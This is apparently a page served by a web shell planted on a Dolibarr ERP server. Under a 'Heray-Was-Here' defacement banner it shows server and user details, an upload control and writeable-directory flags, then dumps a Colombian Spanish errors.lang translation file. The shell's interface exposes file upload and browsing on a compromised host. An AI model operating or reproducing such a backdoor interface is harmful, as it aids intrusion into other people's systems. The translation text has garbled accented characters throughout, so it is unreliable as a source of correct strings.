Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/es_CO/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/es_CO/errors.lang
# Dolibarr language file - Source file is en_US - errors
NoErrorCommitIsDone=Sin error, nos comprometemos
ErrorButCommitIsDone=Errores encontrados pero validamos a pesar de esto
ErrorBadValueForParamNotAString=Mal valor para su par谩metro. Generalmente se adjunta cuando falta la traducci贸n.
ErrorRefAlreadyExists=La referencia <b> %s </b> ya existe.
ErrorLoginAlreadyExists=El inicio de sesi贸n %s ya existe.
ErrorRecordNotFound=Registro no encontrado.
ErrorFailToCopyFile=Error al copiar el archivo '<b> %s </b>' en '<b> %s </b>'.
ErrorFailToCopyDir=Error al copiar el directorio '<b> %s </b>' en '<b> %s </b>'.
ErrorFailToRenameFile=No se pudo cambiar el nombre del archivo '<b> %s </b>' a '<b> %s </b>'.
ErrorFailToDeleteFile=Error al eliminar el archivo '<b> %s </b>'.
ErrorFailToCreateFile=Error al crear el archivo '<b> %s </b>'.
ErrorFailToRenameDir=No se pudo cambiar el nombre del directorio '<b> %s </b>' a '<b> %s </b>'.
ErrorFailToCreateDir=Error al crear el directorio '<b> %s </b>'.
ErrorFailToDeleteDir=Error al eliminar el directorio '<b> %s </b>'.
ErrorFailToMakeReplacementInto=No se pudo realizar el reemplazo en el archivo '<b> %s </b>'.
ErrorFailToGenerateFile=Error al generar el archivo '<b> %s </b>'.
ErrorCashAccountAcceptsOnlyCashMoney=Esta cuenta bancaria es una cuenta de efectivo, por lo que acepta pagos de tipo efectivo 煤nicamente.
ErrorFromToAccountsMustDiffers=Las cuentas bancarias de origen y destino deben ser diferentes.
ErrorBadThirdPartyName=Valor incorrecto para el nombre de un tercero
ForbiddenBySetupRules=Prohibido por las reglas de configuraci贸n
ErrorBadCustomerCodeSyntax=Sintaxis incorrecta para el c贸digo del cliente
ErrorBadBarCodeSyntax=Sintaxis incorrecta para el c贸digo de barras. Puede ser que haya configurado un tipo de c贸digo de barras incorrecto o haya definido una m谩scara de c贸digo de barras para la numeraci贸n que no coincide con el valor escaneado.
ErrorCustomerCodeRequired=Se requiere c贸digo de cliente
ErrorBarCodeRequired=Se requiere c贸digo de barras
ErrorBarCodeAlreadyUsed=C贸digo de barras ya utilizado
ErrorPrefixRequired=Prefijo requerido
ErrorBadSupplierCodeSyntax=Sintaxis incorrecta para el c贸digo de proveedor
ErrorSupplierCodeRequired=Se requiere el c贸digo de proveedor
ErrorSupplierCodeAlreadyUsed=El c贸digo de proveedor ya se us贸
ErrorBadParameters=Malos par谩metros
ErrorWrongParameters=Par谩metros incorrectos o faltantes
ErrorBadValueForParameter=Valor incorrecto '%s' para el par谩metro '%s'
ErrorBadImageFormat=El archivo de imagen no tiene un formato compatible (su PHP no admite funciones para convertir im谩genes de este formato)
ErrorBadDateFormat=El valor '%s' tiene un formato de fecha incorrecto
ErrorFailedToWriteInDir=No se pudo escribir en el directorio %s
ErrorFoundBadEmailInFile=Se encontr贸 una sintaxis de correo electr贸nico incorrecta para las l铆neas %s en el archivo (l铆nea de ejemplo %s con email = %s)
ErrorUserCannotBeDelete=No se puede eliminar al usuario. Quiz谩s est茅 asociado a entidades Dolibarr.
ErrorFailedToCreateDir=No se pudo crear un directorio. Compruebe que el usuario del servidor web tenga permisos para escribir en el directorio de documentos de Dolibarr. Si el par谩metro <b> safe_mode </b> est谩 habilitado en este PHP, verifique que los archivos php de Dolibarr sean propiedad del usuario (o grupo) del servidor web.
ErrorNoMailDefinedForThisUser=No hay correo definido para este usuario
ErrorSetupOfEmailsNotComplete=La configuraci贸n de los correos electr贸nicos no est谩 completa
ErrorFeatureNeedJavascript=Esta caracter铆stica necesita javascript para estar activada para funcionar. Cambie esto en la configuraci贸n - pantalla.
ErrorTopMenuMustHaveAParentWithId0=Un men煤 de tipo 'Arriba' no puede tener un men煤 principal. Ponga 0 en el men煤 principal o elija un men煤 de tipo 'Izquierda'.
ErrorLeftMenuMustHaveAParentId=Un men煤 de tipo 'Izquierda' debe tener una identificaci贸n de padre.
ErrorFileNotFound=Archivo <b> %s </b> no encontrado (ruta incorrecta, permisos incorrectos o acceso denegado por PHP openbasedir o par谩metro safe_mode)
ErrorDirNotFound=Directorio <b> %s </b> no encontrado (Ruta incorrecta, permisos incorrectos o acceso denegado por PHP openbasedir o par谩metro safe_mode)
ErrorFunctionNotAvailableInPHP=La funci贸n <b> %s </b> es necesaria para esta funci贸n, pero no est谩 disponible en esta versi贸n / configuraci贸n de PHP.
ErrorDirAlreadyExists=Ya existe un directorio con este nombre.
ErrorPartialFile=Archivo no recibido completamente por el servidor.
ErrorNoTmpDir=La directiva temporal %s no existe.
ErrorUploadBlockedByAddon=Carga bloqueada por un complemento PHP / Apache.
ErrorSizeTooLongForIntType=Tama帽o demasiado largo para el tipo int (%s d铆gitos como m谩ximo)
ErrorSizeTooLongForVarcharType=Tama帽o demasiado largo para el tipo de cadena (%s caracteres como m谩ximo)
ErrorNoValueForSelectType=Por favor complete el valor de la lista de selecci贸n
ErrorNoValueForCheckBoxType=Por favor, complete el valor de la lista de casillas de verificaci贸n
ErrorNoValueForRadioType=Por favor complete el valor de la lista de radio
ErrorBadFormatValueList=El valor de la lista no puede tener m谩s de una coma: <u> %s </u>, pero necesita al menos una: clave, valor
ErrorFieldCanNotContainSpecialCharacters=El campo <b> %s </b> no debe contener caracteres especiales.
ErrorFieldCanNotContainSpecialNorUpperCharacters=El campo <b> %s </b> no debe contener caracteres especiales, ni may煤sculas y no puede contener solo n煤meros.
ErrorNoAccountancyModuleLoaded=Ning煤n m贸dulo de contabilidad activado
ErrorExportDuplicateProfil=Este nombre de perfil ya existe para este conjunto de exportaci贸n.
ErrorLDAPSetupNotComplete=La coincidencia Dolibarr-LDAP no est谩 completa.
ErrorLDAPMakeManualTest=Se ha generado un archivo .ldif en el directorio %s. Intente cargarlo manualmente desde la l铆nea de comandos para tener m谩s informaci贸n sobre los errores.
ErrorCantSaveADoneUserWithZeroPercentage=No se puede guardar una acci贸n con "estado no iniciado" si el campo "realizado por" tambi茅n est谩 lleno.
ErrorPleaseTypeBankTransactionReportName=Ingrese el nombre del extracto bancario donde se debe informar la entrada (formato AAAAMM o AAAAMMDD)
ErrorRecordHasChildren=No se pudo borrar el registro porque tiene algunos registros secundarios.
ErrorRecordHasAtLeastOneChildOfType=El objeto %s tiene al menos un hijo de tipo %s
ErrorRecordIsUsedCantDelete=No se puede borrar el registro. Ya est谩 usado o incluido en otro objeto.
ErrorModuleRequireJavascript=Javascript no debe estar deshabilitado para que esta caracter铆stica funcione. Para habilitar / deshabilitar Javascript, vaya al men煤 Inicio-> Configuraci贸n-> Pantalla.
ErrorPasswordsMustMatch=Ambas contrase帽as escritas deben coincidir
ErrorContactEMail=Ocurri贸 un error t茅cnico. Por favor, comun铆quese con el administrador al siguiente correo electr贸nico <b> %s </b> y proporcione el c贸digo de error <b> %s </b> en su mensaje, o agregue una copia de pantalla de esta p谩gina.
ErrorWrongValueForField=El campo <b>%s</b>: '<b>%s</b>' no coincide con la regla de expresiones regulares <b>%s</b>
ErrorFieldValueNotIn=El campo <b> %s </b>: '<b> %s </b>' no es un valor que se encuentra en el campo <b> %s </b> de <b> %s </b>
ErrorFieldRefNotIn=El campo<b>%s</b>: '<b>%s</b>' no es una referia existente <b>%s</b>
ErrorFileIsInfectedWithAVirus=El programa antivirus no pudo validar el archivo (el archivo podr铆a estar infectado por un virus)
ErrorNumRefModel=Existe una referencia en la base de datos (%s) y no es compatible con esta regla de numeraci贸n. Elimine el registro o la referencia renombrada para activar este m贸dulo.
ErrorQtyTooLowForThisSupplier=Cantidad demasiado baja para este proveedor o ning煤n precio definido en este producto para este proveedor
ErrorOrdersNotCreatedQtyTooLow=Algunos pedidos no se han creado debido a cantidades demasiado bajas.
ErrorModuleSetupNotComplete=La configuraci贸n del m贸dulo %s parece incompleta. Vaya a Inicio - Configuraci贸n - M贸dulos para completar.
ErrorBadMaskFailedToLocatePosOfSequence=Error, m谩scara sin n煤mero de secuencia
ErrorBadMaskBadRazMonth=Error, valor de reinicio incorrecto
ErrorCounterMustHaveMoreThan3Digits=El contador debe tener m谩s de 3 d铆gitos
ErrorDeleteNotPossibleLineIsConsolidated=No es posible eliminar porque el registro est谩 vinculado a una transacci贸n bancaria que est谩 conciliada
ErrorProdIdAlreadyExist=%s se asigna a otro tercio
ErrorFailedToSendPassword=No se pudo enviar la contrase帽a
ErrorFailedToLoadRSSFile=No se obtiene la fuente RSS. Intente agregar la constante MAIN_SIMPLEXMLLOAD_DEBUG si los mensajes de error no brindan suficiente informaci贸n.
ErrorForbidden=Acceso denegado. <br> Intentas acceder a una p谩gina, 谩rea o caracter铆stica de un m贸dulo deshabilitado o sin estar en una sesi贸n autenticada o que no est谩 permitida para tu usuario.
ErrorForbidden2=El administrador de Dolibarr puede definir el permiso para este inicio de sesi贸n desde el men煤 %s-> %s.
ErrorForbidden3=Parece que Dolibarr no se usa a trav茅s de una sesi贸n autenticada. Eche un vistazo a la documentaci贸n de configuraci贸n de Dolibarr para saber c贸mo administrar las autenticaciones (htaccess, mod_auth u otro ...).
ErrorNoImagickReadimage=La clase Imagick no se encuentra en este PHP. No puede haber una vista previa disponible. Los administradores pueden desactivar esta pesta帽a desde el men煤 Configuraci贸n - Pantalla.
ErrorRecordAlreadyExists=El registro ya existe
ErrorCantReadFile=Error al leer el archivo '%s'
ErrorCantReadDir=No se pudo leer el directorio '%s'
ErrorBadLoginPassword=Valor incorrecto para inicio de sesi贸n o contrase帽a
ErrorLoginDisabled=Tu cuenta ha sido inhabilitada
ErrorFailedToChangePassword=No se pudo cambiar la contrase帽a
ErrorLoginDoesNotExists=No se pudo encontrar el usuario con inicio de sesi贸n <b> %s </b>.
ErrorLoginHasNoEmail=Este usuario no tiene direcci贸n de correo electr贸nico. Proceso abortado.
ErrorBadValueForCode=Mal valor para el c贸digo de seguridad. Int茅ntelo de nuevo con un nuevo valor ...
ErrorBothFieldCantBeNegative=Los campos %s y %s no pueden ser ambos negativos
ErrorFieldCantBeNegativeOnInvoice=El campo <strong> %s </strong> no puede ser negativo en este tipo de factura. Si necesita agregar una l铆nea de descuento, simplemente cree el descuento primero (desde el campo '%s' en la tarjeta de terceros) y apl铆quelo a la factura.
ErrorLinesCantBeNegativeForOneVATRate=El total de l铆neas (neto de impuestos) no puede ser negativo para una tasa de IVA no nula determinada (se encontr贸 un total negativo para la tasa de IVA <b> %s </b> %%).
ErrorLinesCantBeNegativeOnDeposits=Las l铆neas no pueden ser negativas en un dep贸sito. Tendr谩 problemas cuando necesite consumir el dep贸sito en la factura final si lo hace.
ErrorQtyForCustomerInvoiceCantBeNegative=La cantidad de la l铆nea en las facturas de los clientes no puede ser negativa
ErrorWebServerUserHasNotPermission=La cuenta de usuario <b> %s </b> utilizada para ejecutar el servidor web no tiene permiso para eso
ErrorNoActivatedBarcode=Ning煤n tipo de c贸digo de barras activado
ErrUnzipFails=Error al descomprimir %s con ZipArchive
ErrNoZipEngine=No hay motor para comprimir / descomprimir el archivo %s en este PHP
ErrorFileMustBeADolibarrPackage=El archivo %s debe ser un paquete zip Dolibarr
ErrorModuleFileRequired=Debe seleccionar un archivo de paquete de m贸dulo Dolibarr
ErrorPhpCurlNotInstalled=El PHP CURL no est谩 instalado, esto es fundamental para hablar con Paypal
ErrorFailedToAddToMailmanList=No se pudo agregar el registro %s a la lista de Mailman %s o la base SPIP
ErrorFailedToRemoveToMailmanList=No se pudo eliminar el registro %s a la lista Mailman %s o la base SPIP
ErrorNewValueCantMatchOldValue=El nuevo valor no puede ser igual al anterior
ErrorFailedToValidatePasswordReset=No se pudo reiniciar la contrase帽a. Puede que el reinicio ya se haya realizado (este enlace solo se puede usar una vez). Si no es as铆, intente reiniciar el proceso de reinicio.
ErrorToConnectToMysqlCheckInstance=La conexi贸n a la base de datos falla. Verifique que el servidor de la base de datos se est茅 ejecutando (por ejemplo, con mysql / mariadb, puede iniciarlo desde la l铆nea de comandos con 'sudo service mysql start').
ErrorFailedToAddContact=No se pudo agregar el contacto
ErrorDateMustBeBeforeToday=La fecha debe ser menor que la de hoy.
ErrorDateMustBeInFuture=La fecha debe ser mayor que la de hoy.
ErrorPaymentModeDefinedToWithoutSetup=Se estableci贸 un modo de pago para escribir %s, pero la configuraci贸n del m贸dulo Factura no se complet贸 para definir la informaci贸n que se mostrar谩 para este modo de pago.
ErrorPHPNeedModule=Error, su PHP debe tener el m贸dulo <b> %s </b> instalado para usar esta funci贸n.
ErrorOpenIDSetupNotComplete=Configura el archivo de configuraci贸n Dolibarr para permitir la autenticaci贸n OpenID, pero la URL del servicio OpenID no est谩 definida en la constante %s
ErrorWarehouseMustDiffers=Los almacenes de origen y destino deben diferir
ErrorBadFormat=隆Mal formato!
ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Error, este miembro a煤n no est谩 vinculado a ning煤n tercero. Vincular al miembro a un tercero existente o crear un nuevo tercero antes de crear una suscripci贸n con factura.
ErrorThereIsSomeDeliveries=Error, hay algunas entregas vinculadas a este env铆o. Eliminaci贸n rechazada.
ErrorCantDeletePaymentReconciliated=No se puede eliminar un pago que gener贸 una entrada bancaria que se concili贸
ErrorCantDeletePaymentSharedWithPayedInvoice=No se puede eliminar un pago compartido por al menos una factura con estado Pagado
ErrorPriceExpression3=Variable indefinida '%s' en la definici贸n de funci贸n
ErrorPriceExpression4=Car谩cter ilegal '%s'
ErrorPriceExpression5='%s' inesperado
ErrorPriceExpression6=N煤mero incorrecto de argumentos (%s dado, se esperaba %s)
ErrorPriceExpression8=Operador inesperado '%s'
ErrorPriceExpression9=Ocurri贸 un error inesperado
ErrorPriceExpression10=El operador '%s' carece de operando
ErrorPriceExpression11=Esperando '%s'
ErrorPriceExpression17=Variable indefinida '%s'
ErrorPriceExpression21=Resultado vac铆o '%s'
ErrorPriceExpression22=Resultado negativo '%s'
ErrorPriceExpression23=Variable desconocida o no definida '%s' en %s
ErrorSrcAndTargetWarehouseMustDiffers=Los almacenes de origen y destino deben diferir
ErrorTryToMakeMoveOnProductRequiringBatchData=Error, al intentar realizar un movimiento de stock sin informaci贸n de lote / serie, en el producto '%s' que requiere informaci贸n de lote / serie
ErrorCantSetReceptionToTotalDoneWithReceptionToApprove=Todas las recepciones registradas deben primero ser verificadas (aprobadas o denegadas) antes de que se les permita realizar esta acci贸n.
ErrorCantSetReceptionToTotalDoneWithReceptionDenied=Todas las recepciones registradas primero deben ser verificadas (aprobadas) antes de que se les permita realizar esta acci贸n.
ErrorGlobalVariableUpdater0=La solicitud HTTP fall贸 con el error '%s'
ErrorGlobalVariableUpdater1=Formato JSON no v谩lido '%s'
ErrorGlobalVariableUpdater3=Los datos solicitados no se encontraron en el resultado.
ErrorGlobalVariableUpdater4=El cliente SOAP fall贸 con el error '%s'
ErrorGlobalVariableUpdater5=No se seleccion贸 ninguna variable global
ErrorFieldMustBeANumeric=El campo <b> %s </b> debe ser un valor num茅rico
ErrorMandatoryParametersNotProvided=Par谩metro (s) obligatorio no proporcionado
ErrorOppStatusRequiredIfAmount=Establece una cantidad estimada para este cliente potencial. Por lo que tambi茅n debe ingresar su estado.
ErrorFailedToLoadModuleDescriptorForXXX=No se pudo cargar la clase de descriptor de m贸dulo para %s
ErrorBadDefinitionOfMenuArrayInModuleDescriptor=Definici贸n incorrecta de la matriz de men煤s en el descriptor del m贸dulo (valor incorrecto para la clave fk_menu)
ErrorWarehouseRequiredIntoShipmentLine=Se requiere un almac茅n en la l铆nea para enviar
ErrorSupplierCountryIsNotDefined=El pa铆s de este proveedor no est谩 definido. Corrija esto primero.
ErrorsThirdpartyMerge=No se pudieron combinar los dos registros. Solicitud cancelada.
ErrorStockIsNotEnoughToAddProductOnOrder=El stock no es suficiente para que el producto %s lo agregue a un nuevo pedido.
ErrorStockIsNotEnoughToAddProductOnInvoice=El stock no es suficiente para que el producto %s lo agregue a una nueva factura.
ErrorStockIsNotEnoughToAddProductOnShipment=El stock no es suficiente para que el producto %s lo agregue a un nuevo env铆o.
ErrorStockIsNotEnoughToAddProductOnProposal=El stock no es suficiente para que el producto %s lo agregue a una nueva propuesta.
ErrorFailedToLoadLoginFileForMode=No se pudo obtener la clave de inicio de sesi贸n para el modo '%s'.
ErrorModuleNotFound=No se encontr贸 el archivo del m贸dulo.
ErrorFieldAccountNotDefinedForBankLine=Valor para la cuenta de contabilidad no definido para el ID de l铆nea de origen %s (%s)
ErrorFieldAccountNotDefinedForInvoiceLine=Valor para la cuenta de contabilidad no definido para el ID de factura %s (%s)
ErrorFieldAccountNotDefinedForLine=Valor de la cuenta de contabilidad no definido para la l铆nea (%s)
ErrorBankStatementNameMustFollowRegex=Error, el nombre del extracto bancario debe seguir la siguiente regla de sintaxis %s
ErrorPhpMailDelivery=Compruebe que no utiliza un n煤mero demasiado elevado de destinatarios y que el contenido de su correo electr贸nico no es similar a un correo no deseado. P铆dale tambi茅n a su administrador que verifique los archivos de registro del servidor y del firewall para obtener una informaci贸n m谩s completa.
ErrorUserNotAssignedToTask=El usuario debe estar asignado a la tarea para poder ingresar el tiempo consumido.
ErrorModuleFileSeemsToHaveAWrongFormat=El paquete del m贸dulo parece tener un formato incorrecto.
ErrorModuleFileSeemsToHaveAWrongFormat2=Debe existir al menos un directorio obligatorio en el zip del m贸dulo: <strong> %s </strong> o <strong> %s </strong>
ErrorFilenameDosNotMatchDolibarrPackageRules=El nombre del paquete del m贸dulo (<strong> %s </strong>) no coincide con la sintaxis del nombre esperado: <strong>%s</strong>
ErrorDuplicateTrigger=Error, nombre de disparador duplicado %s. Ya cargado desde %s.
ErrorNoWarehouseDefined=Error, no hay almacenes definidos.
ErrorBadLinkSourceSetButBadValueForRef=El enlace que usas no es v谩lido. Se define una 'fuente' para el pago, pero el valor de 'ref' no es v谩lido.
ErrorTooManyErrorsProcessStopped=Demasiados errores. El proceso se detuvo.
ErrorMassValidationNotAllowedWhenStockIncreaseOnAction=La validaci贸n masiva no es posible cuando la opci贸n para aumentar / disminuir stock est谩 configurada en esta acci贸n (debe validar uno por uno para que pueda definir el almac茅n para aumentar / disminuir)
ErrorObjectMustHaveStatusDraftToBeValidated=El objeto %s debe tener el estado 'Borrador' para ser validado.
ErrorObjectMustHaveLinesToBeValidated=El objeto %s debe tener l铆neas para ser validado.
ErrorOnlyInvoiceValidatedCanBeSentInMassAction=Solo se pueden enviar facturas validadas mediante la acci贸n masiva "Enviar por correo electr贸nico".
ErrorChooseBetweenFreeEntryOrPredefinedProduct=Debes elegir si el art铆culo es un producto predefinido o no
ErrorDiscountLargerThanRemainToPaySplitItBefore=El descuento que intenta aplicar es mayor de lo que queda por pagar. Divida el descuento en 2 descuentos m谩s peque帽os antes.
ErrorFileNotFoundWithSharedLink=No se encontr贸 el archivo. Puede ser que la clave compartida se haya modificado o el archivo se haya eliminado recientemente.
ErrorDescRequiredForFreeProductLines=La descripci贸n es obligatoria para las l铆neas con producto gratuito
ErrorAPageWithThisNameOrAliasAlreadyExists=La p谩gina / contenedor <strong> %s </strong> tiene el mismo nombre o alias alternativo que el que intentas usar
ErrorDuringChartLoad=Error al cargar el plan de cuentas. Si no se cargaron pocas cuentas, a煤n puede ingresarlas manualmente.
ErrorBadSyntaxForParamKeyForContent=Sintaxis incorrecta para param keyforcontent. Debe tener un valor que comience con %s o %s
ErrorVariableKeyForContentMustBeSet=Error, se debe establecer la constante con el nombre %s (con contenido de texto para mostrar) o %s (con URL externa para mostrar).
ErrorURLMustStartWithHttp=La URL %s debe comenzar con http: // o https: //
ErrorNewRefIsAlreadyUsed=Error, la nueva referencia ya se usa
ErrorDeletePaymentLinkedToAClosedInvoiceNotPossible=Error, no es posible eliminar el pago vinculado a una factura cerrada.
ErrorSearchCriteriaTooSmall=Criterios de b煤squeda demasiado peque帽os.
ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Los objetos deben tener el estado 'Borrador' o 'Deshabilitado' para estar habilitados
ErrorNoFieldWithAttributeShowoncombobox=Ning煤n campo tiene la propiedad 'showoncombobox' en la definici贸n del objeto '%s'. No hay forma de mostrar la combolista.
ProblemIsInSetupOfTerminal=El problema est谩 en la configuraci贸n del terminal %s.
ErrorAddAtLeastOneLineFirst=Agregue al menos una l铆nea primero
ErrorRecordAlreadyInAccountingDeletionNotPossible=Error, el registro ya se transfiri贸 a la contabilidad, no es posible eliminarlo.
ErrorLanguageOfTranslatedPageIsSameThanThisPage=Error, el idioma de la p谩gina traducida es el mismo que 茅ste.
ErrorBatchNoFoundForProductInWarehouse=No se encontr贸 ning煤n lote / serie para el producto "%s" en el almac茅n "%s".
ErrorBatchNoFoundEnoughQuantityForProductInWarehouse=No hay cantidad suficiente para este lote / serie para el producto "%s" en el almac茅n "%s".
ErrorOnlyOneFieldForGroupByIsPossible=Solo es posible 1 campo para el 'Agrupar por' (los dem谩s se descartan)
ErrorTooManyDifferentValueForSelectedGroupBy=Se encontraron demasiados valores diferentes (m谩s de <b> %s </b>) para el campo '<b> %s </b>', por lo que no podemos usarlo como un grupo de. Se ha eliminado el campo 'Agrupar por'. 驴Quiz谩s quisiera usarlo como un eje X?
ErrorProductNeedBatchNumber=Error, el producto '<b> %s </b>' necesita un lote / n煤mero de serie
ErrorProductDoesNotNeedBatchNumber=Error, el producto '<b> %s </b>' no acepta un n煤mero de serie / lote
ErrorParameterMustBeEnabledToAllwoThisFeature=Error, el par谩metro <b> %s </b> debe habilitarse en <b> conf / conf.php <b> para permitir el uso de la interfaz de l铆nea de comandos por parte del programador de trabajos interno
ErrorValueLength=La longitud del campo '<b> %s </b>' debe ser mayor que '<b> %s </b>'
ErrorReservedKeyword=La palabra '<b> %s </b>' es una palabra clave reservada
ErrorLanguageMustNotBeSourceLanguageIfPageIsTranslationOfAnother=El idioma de la nueva p谩gina no debe ser el idioma de origen si est谩 configurado como una traducci贸n de otra p谩gina.
ErrorYouMustFirstSetupYourChartOfAccount=Primero debe configurar su plan de cuenta
ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Duraci贸n no definida en servicio. No hay forma de calcular el precio por hora.
WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Su par谩metro PHP upload_max_filesize (%s) es mayor que el par谩metro PHP post_max_size (%s). Esta no es una configuraci贸n consistente.
WarningPasswordSetWithNoAccount=Se estableci贸 una contrase帽a para este miembro. Sin embargo, no se cre贸 ninguna cuenta de usuario. Por lo tanto, esta contrase帽a se almacena pero no se puede utilizar para iniciar sesi贸n en Dolibarr. Puede ser utilizado por un m贸dulo / interfaz externo, pero si no necesita definir ning煤n nombre de usuario o contrase帽a para un miembro, puede deshabilitar la opci贸n "Administrar un inicio de sesi贸n para cada miembro" desde la configuraci贸n del m贸dulo Miembro. Si necesita administrar un inicio de sesi贸n pero no necesita ninguna contrase帽a, puede dejar este campo vac铆o para evitar esta advertencia. Nota: El correo electr贸nico tambi茅n se puede utilizar como inicio de sesi贸n si el miembro est谩 vinculado a un usuario.
WarningEnableYourModulesApplications=Haga clic aqu铆 para habilitar sus m贸dulos y aplicaciones
WarningSafeModeOnCheckExecDir=Advertencia, la opci贸n PHP <b> safe_mode </b> est谩 activada, por lo que el comando debe almacenarse dentro de un directorio declarado por el par谩metro php <b> safe_mode_exec_dir </b>.
WarningBookmarkAlreadyExists=Ya existe un marcador con este t铆tulo o este destino (URL).
WarningPassIsEmpty=Advertencia, la contrase帽a de la base de datos est谩 vac铆a. Este es un agujero de seguridad. Debe agregar una contrase帽a a su base de datos y cambiar su archivo conf.php para reflejar esto.
WarningConfFileMustBeReadOnly=Advertencia, el servidor web puede sobrescribir su archivo de configuraci贸n (<b>htdocs/conf/conf.php</b>). Este es un grave agujero de seguridad. Modifique los permisos en el archivo para que est茅n en modo de solo lectura para el usuario del sistema operativo utilizado por el servidor web. Si usa Windows y el formato FAT para su disco, debe saber que este sistema de archivos no permite agregar permisos en el archivo, por lo que no puede ser completamente seguro.
WarningsOnXLines=Advertencias sobre <b> %s </b> registro (s) fuente
WarningNoDocumentModelActivated=No se ha activado ning煤n modelo para la generaci贸n de documentos. Se elegir谩 un modelo por defecto hasta que verifique la configuraci贸n de su m贸dulo.
WarningLockFileDoesNotExists=Advertencia: una vez finalizada la instalaci贸n, debe deshabilitar las herramientas de instalaci贸n / migraci贸n agregando un archivo <b> install.lock </b> en el directorio <b> %s </b>. Omitir la creaci贸n de este archivo es un riesgo de seguridad grave.
WarningUntilDirRemoved=Todas las advertencias de seguridad (visibles solo para los usuarios administradores) permanecer谩n activas mientras la vulnerabilidad est茅 presente (o si se agrega la constante MAIN_REMOVE_INSTALL_WARNING en Configuraci贸n-> Otra configuraci贸n).
WarningCloseAlways=Advertencia, el cierre se realiza incluso si la cantidad difiere entre los elementos de origen y de destino. Habilite esta funci贸n con precauci贸n.
WarningUsingThisBoxSlowDown=Advertencia, el uso de este cuadro ralentiza seriamente todas las p谩ginas que muestran el cuadro.
WarningClickToDialUserSetupNotComplete=La configuraci贸n de la informaci贸n de ClickToDial para su usuario no est谩 completa (consulte la pesta帽a ClickToDial en su tarjeta de usuario).
WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=Caracter铆stica desactivada cuando la configuraci贸n de la pantalla est谩 optimizada para personas ciegas o navegadores de texto.
WarningPaymentDateLowerThanInvoiceDate=La fecha de pago (%s) es anterior a la fecha de la factura (%s) para la factura %s.
WarningTooManyDataPleaseUseMoreFilters=Demasiados datos (m谩s de %s l铆neas). Utilice m谩s filtros o establezca la constante %s en un l铆mite superior.
WarningSomeLinesWithNullHourlyRate=Algunas veces fueron registradas por algunos usuarios mientras que su tarifa por hora no estaba definida. Se utiliz贸 un valor de 0 %s por hora, pero esto puede resultar en una valoraci贸n incorrecta del tiempo empleado.
WarningYourLoginWasModifiedPleaseLogin=Se modific贸 su inicio de sesi贸n. Por motivos de seguridad, deber谩 iniciar sesi贸n con su nuevo inicio de sesi贸n antes de la siguiente acci贸n.
WarningNumberOfRecipientIsRestrictedInMassAction=Advertencia, el n煤mero de destinatarios diferentes est谩 limitado a <b> %s </b> cuando se utilizan acciones masivas en listas
WarningProjectDraft=El proyecto todav铆a est谩 en modo borrador. No olvides validarlo si planeas usar tareas.
WarningProjectClosed=Proyecto cerrado. Primero debes volver a abrirlo.
WarningSomeBankTransactionByChequeWereRemovedAfter=Algunas transacciones bancarias se eliminaron despu茅s de que se gener贸 el recibo que las inclu铆a. Por lo tanto, el n煤mero de cheques y el total del recibo pueden diferir del n煤mero y el total de la lista.
WarningFailedToAddFileIntoDatabaseIndex=Advertencia, no se pudo agregar la entrada de archivo en la tabla de 铆ndice de la base de datos de ECM
WarningAvailableOnlyForHTTPSServers=Disponible solo si se usa una conexi贸n segura HTTPS.
RequireAtLeastXString =Requiere al menos %s car谩cter (s)
RequireXStringMax =Requiere %s caracter(es) como m谩ximo
RequireValidNumeric =Requiere un valor num茅rico
RequireValidEmail =La direcci贸n de correo electr贸nico no es v谩lida
RequireMaxLength =La longitud debe ser menor que %s caracteres
RequireValidUrl =Requerir URL v谩lida
RequireValidExistingElement =Requerir un valor existente
RequireValidBool =Requerir un booleano v谩lido

Hry